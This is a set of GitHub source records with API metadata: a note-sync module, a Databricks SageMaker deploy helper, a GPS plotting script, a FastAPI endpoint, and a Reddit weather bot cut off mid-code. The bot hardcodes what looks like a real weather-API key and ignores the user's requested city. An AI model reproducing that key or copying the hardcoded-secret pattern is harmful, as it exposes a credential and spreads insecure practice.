note_content_notonserver_tracker.discard_successes(note_contents_tracking_dict.keys())\n                self.emit(\"global_sync_action\", SYNC_ACTION_FAILURE, self.by_who)\n                if unknown_error_count > 0:\n                    self.emit(\"sync_failure\", SYNC_FAILURE_FATAL, self.by_who,\n                              \"{} unknown error codes or formatting issues were encountered when processing\"\n                              \" server's response to an attempt to push unsynced notes.\".format(unknown_error_count))\n                self.sync_lock.release()\n\n", "repo_name": "icasdri/tuhi-gtk", "sub_path": "tuhi_gtk/sync_control.py", "file_name": "sync_control.py", "file_ext": "py", "file_size_in_byte": 16813, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tuhi_gtk.app_logging.get_log_for_prefix_tuple", "line_number": 13, "usage_type": "call"}, {"api_name": "gi.repository.GObject.Object", "line_number": 15, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject", "line_number": 15, "usage_type": "name"}, {"api_name": "gi.repository.GObject.SIGNAL_RUN_LAST", "line_number": 17, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject", "line_number": 17, "usage_type": "name"}, {"api_name": "gi.repository.GObject.TYPE_NONE", "line_number": 17, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.TYPE_STRING", "line_number": 17, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.SIGNAL_RUN_LAST", "line_number": 20, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject", "line_number": 20, "usage_type": "name"}, {"api_name": "gi.repository.GObject.TYPE_NONE", "line_number": 20, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.TYPE_PYOBJECT", "line_number": 20, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.TYPE_STRING", "line_number": 20, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.SIGNAL_RUN_LAST", "line_number": 22, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject", "line_number": 22, "usage_type": "name"}, {"api_name": "gi.repository.GObject.TYPE_NONE", "line_number": 22, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.TYPE_STRING", "line_number": 22, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.TYPE_PYOBJECT", "line_number": 22, "usage_type": "attribute"}, {"api_name": "threading.Lock", "line_number": 31, "usage_type": "call"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_BEGIN", "line_number": 40, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.kv_store", "line_number": 42, "usage_type": "name"}, {"api_name": "tuhi_gtk.config.SYNCSERVER_NOTES_ENDPOINT", "line_number": 42, "usage_type": "name"}, {"api_name": "tuhi_gtk.database.kv_store", "line_number": 43, "usage_type": "name"}, {"api_name": "tuhi_gtk.database.kv_store", "line_number": 47, "usage_type": "name"}, {"api_name": "requests.Session", "line_number": 51, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 52, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 65, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.idle_add", "line_number": 68, "usage_type": "call"}, {"api_name": "gi.repository.GObject", "line_number": 68, "usage_type": "name"}, {"api_name": "gi.repository.GObject.PRIORITY_LOW", "line_number": 68, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.idle_add", "line_number": 71, "usage_type": "call"}, {"api_name": "gi.repository.GObject", "line_number": 71, "usage_type": "name"}, {"api_name": "gi.repository.GObject.PRIORITY_LOW", "line_number": 71, "usage_type": "attribute"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 74, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_FAILURE_CONNECTION", "line_number": 75, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 82, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_FAILURE_FATAL", "line_number": 83, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 89, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_FAILURE_AUTHENTICATION", "line_number": 90, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 98, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_FAILURE_FATAL", "line_number": 99, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.note_store", "line_number": 103, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.note_notonserver_tracker", "line_number": 103, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.note_content_store", "line_number": 104, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.note_content_notonserver_tracker", "line_number": 104, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.kv_store", "line_number": 105, "usage_type": "name"}, {"api_name": "tuhi_gtk.database.get_current_date", "line_number": 105, "usage_type": "call"}, {"api_name": "gi.repository.GObject.idle_add", "line_number": 108, "usage_type": "call"}, {"api_name": "gi.repository.GObject", "line_number": 108, "usage_type": "name"}, {"api_name": "gi.repository.GObject.PRIORITY_LOW", "line_number": 108, "usage_type": "attribute"}, {"api_name": "tuhi_gtk.config.REASON_SYNC", "line_number": 127, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.REASON_SYNC", "line_number": 134, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.note_notonserver_tracker.get_all", "line_number": 142, "usage_type": "call"}, {"api_name": "tuhi_gtk.database.note_notonserver_tracker", "line_number": 142, "usage_type": "name"}, {"api_name": "tuhi_gtk.database.note_content_notonserver_tracker.get_all", "line_number": 143, "usage_type": "call"}, {"api_name": "tuhi_gtk.database.note_content_notonserver_tracker", "line_number": 143, "usage_type": "name"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_BEGIN", "line_number": 156, "usage_type": "argument"}, {"api_name": "json.dumps", "line_number": 163, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 167, "usage_type": "call"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_SUCCESS", "line_number": 171, "usage_type": "argument"}, {"api_name": "requests.exceptions", "line_number": 179, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.idle_add", "line_number": 183, "usage_type": "call"}, {"api_name": "gi.repository.GObject", "line_number": 183, "usage_type": "name"}, {"api_name": "gi.repository.GObject.PRIORITY_LOW", "line_number": 183, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject.idle_add", "line_number": 187, "usage_type": "call"}, {"api_name": "gi.repository.GObject", "line_number": 187, "usage_type": "name"}, {"api_name": "gi.repository.GObject.PRIORITY_LOW", "line_number": 187, "usage_type": "attribute"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 192, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 193, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_FAILURE_CONNECTION", "line_number": 194, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 205, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 206, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_FAILURE_FATAL", "line_number": 207, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 214, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 215, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_FAILURE_AUTHENTICATION", "line_number": 216, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_SUCCESS", "line_number": 223, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_SUCCESS", "line_number": 224, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.note_notonserver_tracker.discard_successes", "line_number": 225, "usage_type": "call"}, {"api_name": "tuhi_gtk.database.note_notonserver_tracker", "line_number": 225, "usage_type": "name"}, {"api_name": "tuhi_gtk.database.note_content_notonserver_tracker.discard_successes", "line_number": 226, "usage_type": "call"}, {"api_name": "tuhi_gtk.database.note_content_notonserver_tracker", "line_number": 226, "usage_type": "name"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 238, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 239, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_FAILURE_FATAL", "line_number": 240, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 252, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.note_store.rename_to_new_uuid", "line_number": 257, "usage_type": "call"}, {"api_name": "tuhi_gtk.database.note_store", "line_number": 257, "usage_type": "name"}, {"api_name": "tuhi_gtk.database.note_notonserver_tracker.register_rename", "line_number": 259, "usage_type": "call"}, {"api_name": "tuhi_gtk.database.note_notonserver_tracker", "line_number": 259, "usage_type": "name"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 272, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.note_content_store.rename_to_new_uuid", "line_number": 277, "usage_type": "call"}, {"api_name": "tuhi_gtk.database.note_content_store", "line_number": 277, "usage_type": "name"}, {"api_name": "tuhi_gtk.database.note_content_notonserver_tracker.register_rename", "line_number": 279, "usage_type": "call"}, {"api_name": "tuhi_gtk.database.note_content_notonserver_tracker", "line_number": 279, "usage_type": "name"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_SUCCESS", "line_number": 287, "usage_type": "argument"}, {"api_name": "tuhi_gtk.database.note_notonserver_tracker.discard_successes", "line_number": 288, "usage_type": "call"}, {"api_name": "tuhi_gtk.database.note_notonserver_tracker", "line_number": 288, "usage_type": "name"}, {"api_name": "tuhi_gtk.database.note_content_notonserver_tracker.discard_successes", "line_number": 289, "usage_type": "call"}, {"api_name": "tuhi_gtk.database.note_content_notonserver_tracker", "line_number": 289, "usage_type": "name"}, {"api_name": "tuhi_gtk.config.SYNC_ACTION_FAILURE", "line_number": 290, "usage_type": "argument"}, {"api_name": "tuhi_gtk.config.SYNC_FAILURE_FATAL", "line_number": 292, "usage_type": "argument"}]}
{"seq_id": "13157865576", "text": "from collections import defaultdict\nfrom tempfile import TemporaryDirectory\nfrom typing import List, Dict\nimport itertools\nimport os\n\nfrom mlflow import sagemaker as mlflow_sagemaker\nfrom mlflow.utils import databricks_utils\nfrom mlflow.pyfunc import DATA\n\nfrom databricks.feature_store.catalog_client import CatalogClient\nfrom databricks.feature_store.constants import MODEL_DATA_PATH_ROOT\nfrom databricks.feature_store.entities.feature_spec import FeatureSpec\nfrom databricks.feature_store.entities.feature_tables_for_serving import (\n    FeatureTablesForSageMakerServing,\n)\nfrom databricks.feature_store.entities.online_feature_table import (\n    OnlineFeatureTable,\n    OnlineFeatureTableForSageMakerServing,\n)\nfrom databricks.feature_store.entities.online_store_for_serving import (\n    OnlineStoreForSageMakerServing,\n)\n\nfrom databricks.feature_store.entities.store_type import StoreType\nfrom databricks.feature_store.utils import request_context\nfrom databricks.feature_store.utils.request_context import RequestContext\nfrom databricks.feature_store.utils.utils import download_model_artifacts\nfrom databricks.feature_store.utils import uc_utils\n\n\ndef _convert_olft_to_sagemaker_olft(\n    olft: OnlineFeatureTable,\n) -> OnlineFeatureTableForSageMakerServing:\n    \"\"\"\n    Transforms an OnlineFeatureTable to an OnlineFeatureTableForSageMakerServing\n\n    :param olft: The source OnlineFeatureTable. Must have store_type DYNAMODB.\n    \"\"\"\n    online_store = olft.online_store\n    if not online_store.store_type == StoreType.DYNAMODB:\n        raise Exception(\n            \"Internal Error: Attempted to convert online feature table with store type \"\n            f\" {online_store.store_type} to OnlineFeatureTableForSageMakerServing.\"\n        )\n    online_store_for_sagemaker_serving = OnlineStoreForSageMakerServing(\n        creation_timestamp_ms=online_store.creation_timestamp_ms,\n        # Only DynamoDB online stores are expected at this point, so extra_configs\n        # is a DynamoDbConf.\n        extra_configs=online_store.extra_configs,\n        query_mode=online_store.query_mode,\n    )\n    return OnlineFeatureTableForSageMakerServing(\n        feature_table_name=olft.feature_table_name,\n        online_feature_table_name=olft.online_feature_table_name,\n        online_store=online_store_for_sagemaker_serving,\n        primary_keys=olft.primary_keys,\n        feature_table_id=olft.feature_table_id,\n        features=olft.features,\n        timestamp_keys=olft.timestamp_keys,\n    )\n\n\ndef _generate_sagemaker_model_serving_metadata(\n    feature_table_to_features: Dict[str, List[str]],\n    online_feature_tables: List[OnlineFeatureTable],\n) -> FeatureTablesForSageMakerServing:\n    \"\"\"\n    Generates online feature table metadata required by SageMaker serving.\n\n    :param feature_table_to_features: Dictionary of required features per feature table. eg\n      {\"prod.user_features\": [\"age\", \"sex\", \"bmi\", ...]\n    :param online_feature_tables: Online feature tables available, returned by\n      GetModelServingMetdata\n    :return: FeatureTablesForSageMakerServing object\n    \"\"\"\n    # Group candidate online feature tables by feature table name\n    feature_table_to_online_feature_tables = {\n        k: list(v)\n        for k, v in itertools.groupby(\n            online_feature_tables, lambda olft: olft.feature_table_name\n        )\n    }\n    # For each required feature table, select up to one online feature table\n    selected_online_feature_table_or_none = {}\n    for ft_name in feature_table_to_features.keys():\n        all_olfts = feature_table_to_online_feature_tables.get(ft_name, [])\n        supported_olfts = [\n            olft\n            for olft in all_olfts\n            if olft.online_store.store_type == StoreType.DYNAMODB\n        ]\n        # If there are multiple options, choose the oldest\n        ts_sorted_olfts = sorted(\n            supported_olfts, key=lambda olft: olft.online_store.creation_timestamp_ms\n        )\n        selected_online_feature_table_or_none[ft_name] = (\n            ts_sorted_olfts[0] if ts_sorted_olfts else None\n        )\n\n    # Throw if there is no online feature table\n    missing_online_feature_tables = [\n        ft\n        for (ft, olft) in selected_online_feature_table_or_none.items()\n        if olft is None\n    ]\n    if missing_online_feature_tables:\n        missing_table_strs = [\n            f\"\\n\\tFeature Table: {ft_name}\\n\\t\\tRequired Features:{feature_table_to_features[ft_name]}\"\n            for ft_name in missing_online_feature_tables\n        ]\n        missing_tables_str = \"\\n\\n\".join(missing_table_strs)\n        feature_table_str = (\n            \"feature_table\"\n            if len(missing_online_feature_tables) <= 1\n            else \"feature_tables\"\n        )\n        raise ValueError(\n            f\"No valid online stores were found for {feature_table_str} {missing_online_feature_tables}. \"\n            \"In order to deploy a model to SageMaker, feature tables must be published to a DynamoDB online store, \"\n            \"including all required features. The following feature tables were not published to DynamoDB or are missing\"\n            \" features in the online store:\"\n            f\"{missing_tables_str}\"\n        )\n\n    online_feature_tables_for_sagemaker_serving = [\n        _convert_olft_to_sagemaker_olft(olft)\n        for olft in selected_online_feature_table_or_none.values()\n    ]\n\n    return FeatureTablesForSageMakerServing(\n        online_feature_tables=online_feature_tables_for_sagemaker_serving\n    )\n\n\ndef _feature_spec_to_feature_table_to_features(feature_spec: FeatureSpec):\n    feature_table_to_features = defaultdict(list)\n    for fci in feature_spec.feature_column_infos:\n        feature_table_to_features[fci.table_name].append(fci.feature_name)\n    return feature_table_to_features\n\n\ndef _add_model_serving_artifact(model_data_path: str):\n    \"\"\"\n    Retrieve and save model serving metadata from the Feature Catalog.\n\n    :param model_data_path: Path to the model's data directory. eg\n      \"/tmp/the_model/data/feature_store\"\n    \"\"\"\n    feature_spec = FeatureSpec.load(model_data_path)\n    feature_spec_with_full_table_names = (\n        uc_utils.get_feature_spec_with_full_table_names(feature_spec)\n    )\n    feature_table_to_features = _feature_spec_to_feature_table_to_features(feature_spec)\n\n    if feature_table_to_features:\n        catalog_client = CatalogClient(databricks_utils.get_databricks_host_creds)\n        # use full table name when interacting with catalog client\n        online_feature_tables = catalog_client.get_model_serving_metadata(\n            _feature_spec_to_feature_table_to_features(\n                feature_spec_with_full_table_names\n            ),\n            req_context=RequestContext(request_context.GET_MODEL_SERVING_METADATA),\n        )\n    else:\n        online_feature_tables = []\n\n    sagemaker_model_serving_metadata = _generate_sagemaker_model_serving_metadata(\n        feature_table_to_features, online_feature_tables\n    )\n    s = sagemaker_model_serving_metadata.to_proto().SerializeToString()\n\n    with open(\n        os.path.join(model_data_path, FeatureTablesForSageMakerServing.DATA_FILE), \"wb\"\n    ) as f:\n        f.write(s)\n\n\ndef deploy(app_name: str, model_uri: str, execution_role_arn: str = None, **kwargs):\n    \"\"\"\n    Deploy an MLflow model on AWS SageMaker. The IAM role that your Databricks cluster is running\n    under must have sufficient permissions to deploy a SageMaker model.\n\n    The model must have been logged with :meth:`FeatureStoreClient.log_model`.\n\n    :param app_name: Name of the deployed application.\n    :param model_uri: The location, in URI format, of the MLflow model logged using\n          :meth:`FeatureStoreClient.log_model`. One of:\n\n            * ``runs:/<mlflow_run_id>/run-relative/path/to/model``\n\n            * ``models:/<model_name>/<model_version>``\n\n            * ``models:/<model_name>/<stage>``\n\n    :param execution_role_arn: The name of an IAM role granting the SageMaker service permissions to\n                               access the specified Docker image and S3 bucket containing MLflow\n                               model artifacts. If unspecified, the currently-assumed role will be\n                               used. This execution role is passed to the SageMaker service when\n                               creating a SageMaker model from the specified MLflow model. It is\n                               passed as the ``ExecutionRoleArn`` parameter of the `SageMaker\n                               CreateModel API call <https://docs.aws.amazon.com/sagemaker/latest/\n                               dg/API_CreateModel.html>`_. This role is *not* assumed for any other\n                               call. For more information about SageMaker execution roles for model\n                               creation, see\n                               https://docs.aws.amazon.com/sagemaker/latest/dg/sagemaker-roles.html.\n\n    Additional keyword arguments will be passed through to :func:`mlflow.sagemaker.deploy`.\n    \"\"\"\n    with TemporaryDirectory() as tmp_dir:\n        download_model_artifacts(model_uri, tmp_dir)\n        # Augment model model artifacts with an additional model serving artifact. This will be\n        # used by SageMaker to identify and connect to online stores for feature lookup.\n        _add_model_serving_artifact(\n            model_data_path=os.path.join(tmp_dir, DATA, MODEL_DATA_PATH_ROOT)\n        )\n        mlflow_sagemaker.deploy(\n            app_name=app_name,\n            model_uri=tmp_dir,\n            execution_role_arn=execution_role_arn,\n            **kwargs,\n        )\n", "repo_name": "xuechendi/databricks_codes", "sub_path": "codes_databricks/databricks/feature_store/sagemaker.py", "file_name": "sagemaker.py", "file_ext": "py", "file_size_in_byte": 9599, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "databricks.feature_store.entities.online_feature_table.OnlineFeatureTable", "line_number": 33, "usage_type": "name"}, {"api_name": "databricks.feature_store.entities.store_type.StoreType.DYNAMODB", "line_number": 41, "usage_type": "attribute"}, {"api_name": "databricks.feature_store.entities.store_type.StoreType", "line_number": 41, "usage_type": "name"}, {"api_name": "databricks.feature_store.entities.online_store_for_serving.OnlineStoreForSageMakerServing", "line_number": 46, "usage_type": "call"}, {"api_name": "databricks.feature_store.entities.online_feature_table.OnlineFeatureTableForSageMakerServing", "line_number": 53, "usage_type": "call"}, {"api_name": "databricks.feature_store.entities.online_feature_table.OnlineFeatureTableForSageMakerServing", "line_number": 34, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 66, "usage_type": "name"}, {"api_name": "databricks.feature_store.entities.online_feature_table.OnlineFeatureTable", "line_number": 66, "usage_type": "name"}, {"api_name": "itertools.groupby", "line_number": 80, "usage_type": "call"}, {"api_name": "databricks.feature_store.entities.store_type.StoreType.DYNAMODB", "line_number": 91, "usage_type": "attribute"}, {"api_name": "databricks.feature_store.entities.store_type.StoreType", "line_number": 91, "usage_type": "name"}, {"api_name": "databricks.feature_store.entities.feature_tables_for_serving.FeatureTablesForSageMakerServing", "line_number": 131, "usage_type": "call"}, {"api_name": "databricks.feature_store.entities.feature_tables_for_serving.FeatureTablesForSageMakerServing", "line_number": 67, "usage_type": "name"}, {"api_name": "databricks.feature_store.entities.feature_spec.FeatureSpec", "line_number": 136, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 137, "usage_type": "call"}, {"api_name": "databricks.feature_store.entities.feature_spec.FeatureSpec.load", "line_number": 150, "usage_type": "call"}, {"api_name": "databricks.feature_store.entities.feature_spec.FeatureSpec", "line_number": 150, "usage_type": "name"}, {"api_name": "databricks.feature_store.utils.uc_utils.get_feature_spec_with_full_table_names", "line_number": 152, "usage_type": "call"}, {"api_name": "databricks.feature_store.utils.uc_utils", "line_number": 152, "usage_type": "name"}, {"api_name": "databricks.feature_store.catalog_client.CatalogClient", "line_number": 157, "usage_type": "call"}, {"api_name": "mlflow.utils.databricks_utils.get_databricks_host_creds", "line_number": 157, "usage_type": "attribute"}, {"api_name": "mlflow.utils.databricks_utils", "line_number": 157, "usage_type": "name"}, {"api_name": "databricks.feature_store.utils.request_context.RequestContext", "line_number": 163, "usage_type": "call"}, {"api_name": "databricks.feature_store.utils.request_context.GET_MODEL_SERVING_METADATA", "line_number": 163, "usage_type": "attribute"}, {"api_name": "databricks.feature_store.utils.request_context", "line_number": 163, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 174, "usage_type": "attribute"}, {"api_name": "databricks.feature_store.entities.feature_tables_for_serving.FeatureTablesForSageMakerServing.DATA_FILE", "line_number": 174, "usage_type": "attribute"}, {"api_name": "databricks.feature_store.entities.feature_tables_for_serving.FeatureTablesForSageMakerServing", "line_number": 174, "usage_type": "name"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 210, "usage_type": "call"}, {"api_name": "databricks.feature_store.utils.utils.download_model_artifacts", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 215, "usage_type": "call"}, {"api_name": "mlflow.pyfunc.DATA", "line_number": 215, "usage_type": "argument"}, {"api_name": "databricks.feature_store.constants.MODEL_DATA_PATH_ROOT", "line_number": 215, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 215, "usage_type": "attribute"}, {"api_name": "mlflow.sagemaker.deploy", "line_number": 217, "usage_type": "call"}, {"api_name": "mlflow.sagemaker", "line_number": 217, "usage_type": "name"}]}
{"seq_id": "31386801040", "text": "import matplotlib.pyplot as plt\n\n\ndef main():\n    line = input()\n    line = input()\n    i = 0\n\n    xs = []\n    ys = []\n    indeces = []\n    noError = True\n    while(noError):\n        data = line.split(',')\n        x = float(data[1])\n        y = float(data[2])\n        xs.append(x)\n        ys.append(y)\n        indeces.append(i)\n        i = i+1\n\n        try:\n            line= input()\n        except EOFError as e:\n            noError = False\n\n    maxv = 0\n    maxa = 0\n    avga = 0\n    vs = []\n    vi = []\n    #we are assuming the time in between each emasurement is 0.1 sec\n    dt = 1\n    for j in range(0,len(indeces)-3):\n        #want to calculate: max v, max a, standard deviation of a, and will eventually also want to do \n        #something with the mean of a depending on the position!!!\n        v1 = xs[j]-xs[j+1]/dt\n        vi.append(j)\n        vs.append(v1)\n        v1 = abs(v1)\n        v2 = abs(xs[j+1]-xs[j+2])/dt\n        a = abs(v1-v2)/dt\n        avga = avga+a\n        if(v1>maxv):\n            maxv = v1\n        if(a>maxa):\n            maxa = a\n\n    fx = xs[0]\n    fxs = []\n    txs = []\n    for j in vi:\n        #print(vs[j])\n        txs.append(xs[j])\n        fxs.append(fx)\n        fx = fx-vs[j]\n    print(\"maxv: \"+str(maxv))\n    #print(\"maxa: \"+str(maxa))\n    #print(\"avga: \"+str(avga/(len(indeces)-3)))\n\n    fig = plt.figure()\n    fig.suptitle(\n        'GPS data', fontsize=20)\n    plt.plot(vi, fxs,\n             label='x', color='r', linewidth=0.3)\n    #plt.plot(vi, txs, label  = 'y', color = 'b', linewidth = 0.3)\n    plt.xlabel('Data Points', fontsize=20)\n    plt.ylabel('Position (m)', fontsize=20)\n    plt.legend()\n    plt.show()\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "StefanCaldararu/GPSRandomWalks", "sub_path": "lookingAtData.py", "file_name": "lookingAtData.py", "file_ext": "py", "file_size_in_byte": 1691, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}]}
{"seq_id": "30135665906", "text": "from typing import Any\nfrom fastapi import APIRouter, Depends\nfrom sqlalchemy.orm import Session\nfrom app import schemas, crud\nfrom app.database import get_db\nfrom app.api import ServerSession, get_api\n\nrouter = APIRouter()\n\n\n@router.get(\"/\", response_model=schemas.Settings)\nasync def get_status(db: Session = Depends(get_db)) -> Any:\n    return crud.settings.get(db)\n\n\n@router.put(\"/\", response_model=schemas.Settings)\nasync def update_status(\n    settings_in: schemas.SettingsUpdate,\n    db: Session = Depends(get_db),\n    api: ServerSession = Depends(get_api),\n) -> Any:\n    settings = crud.settings.get(db)\n    settings = crud.settings.update(db, db_obj=settings, obj_in=settings_in)\n\n    if settings_in.smart_off is False:\n        lights = crud.light.get_multi(db)\n        for light in lights:\n            crud.light.reset_smart_off(db, api, light=light)\n\n    return settings\n", "repo_name": "LukasPatzke/ambientHUE", "sub_path": "api/app/endpoints/settings.py", "file_name": "settings.py", "file_ext": "py", "file_size_in_byte": 882, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "fastapi.APIRouter", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 12, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 12, "usage_type": "call"}, {"api_name": "app.database.get_db", "line_number": 12, "usage_type": "argument"}, {"api_name": "app.crud.settings.get", "line_number": 13, "usage_type": "call"}, {"api_name": "app.crud.settings", "line_number": 13, "usage_type": "attribute"}, {"api_name": "app.crud", "line_number": 13, "usage_type": "name"}, {"api_name": "app.schemas.Settings", "line_number": 11, "usage_type": "attribute"}, {"api_name": "app.schemas", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 12, "usage_type": "name"}, {"api_name": "app.schemas.SettingsUpdate", "line_number": 18, "usage_type": "attribute"}, {"api_name": "app.schemas", "line_number": 18, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 19, "usage_type": "name"}, {"api_name": "app.api.ServerSession", "line_number": 20, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 19, "usage_type": "call"}, {"api_name": "app.database.get_db", "line_number": 19, "usage_type": "argument"}, {"api_name": "fastapi.Depends", "line_number": 20, "usage_type": "call"}, {"api_name": "app.api.get_api", "line_number": 20, "usage_type": "argument"}, {"api_name": "app.crud.settings.get", "line_number": 22, "usage_type": "call"}, {"api_name": "app.crud.settings", "line_number": 22, "usage_type": "attribute"}, {"api_name": "app.crud", "line_number": 22, "usage_type": "name"}, {"api_name": "app.crud.settings.update", "line_number": 23, "usage_type": "call"}, {"api_name": "app.crud.settings", "line_number": 23, "usage_type": "attribute"}, {"api_name": "app.crud", "line_number": 23, "usage_type": "name"}, {"api_name": "app.crud.light.get_multi", "line_number": 26, "usage_type": "call"}, {"api_name": "app.crud.light", "line_number": 26, "usage_type": "attribute"}, {"api_name": "app.crud", "line_number": 26, "usage_type": "name"}, {"api_name": "app.crud.light.reset_smart_off", "line_number": 28, "usage_type": "call"}, {"api_name": "app.crud.light", "line_number": 28, "usage_type": "attribute"}, {"api_name": "app.crud", "line_number": 28, "usage_type": "name"}, {"api_name": "app.schemas.Settings", "line_number": 16, "usage_type": "attribute"}, {"api_name": "app.schemas", "line_number": 16, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 21, "usage_type": "name"}]}
{"seq_id": "42623447693", "text": "import praw\nimport config\nimport time\nimport requests\nimport json\nimport os\n\n\ndef bot_login():\n    r = praw.Reddit(username=config.username,\n                password=config.password,\n                client_id=config.client_id,\n                client_secret=config.client_secret,\n                user_agent=\"cipher's reddit bot\"\n                )\n    return r\n\n\ndef get_saved_comments():\n    if not os.path.isfile(\"comments_replied_to.txt\"):\n        comments_replied_to = []\n    else:\n        with open(\"comments_replied_to.txt\", \"r\") as f:\n            comments_replied_to = f.read()\n            comments_replied_to = comments_replied_to.split(\"\\n\")\n    return comments_replied_to\n\n\ndef run_bot(r):\n    for comment in r.subreddit('testingground4bots').comments(limit=25):\n        if \"!cipherWeather\" in comment.body and comment.id not in comments_replied_to:\n\n            # Split Comment\n            breakedComment = comment.body.split()\n\n            # Word to get meaning of\n            if len(breakedComment) < 2:\n                 print(\"No word\")\n\n            else:\n                city_name = comment.body.split(' ', 1)[1]\n\n                try:\n                   api_key = \"61d8904485f99b27e8604cde0d85a356\"\n                   base_url = \"http://api.openweathermap.org/data/2.5/weather?q=\"\n                   city_name = \"bangalore\"\n                   complete_url = base_url + city_name + \"&APPID=\" + api_key\n                   response = requests.get(complete_url)\n                   x = response.json()\n\n                   if x[\"cod\"] == \"404\":\n                       print(\"Not found\")\n                       output = \"City Not Found\"\n\n                   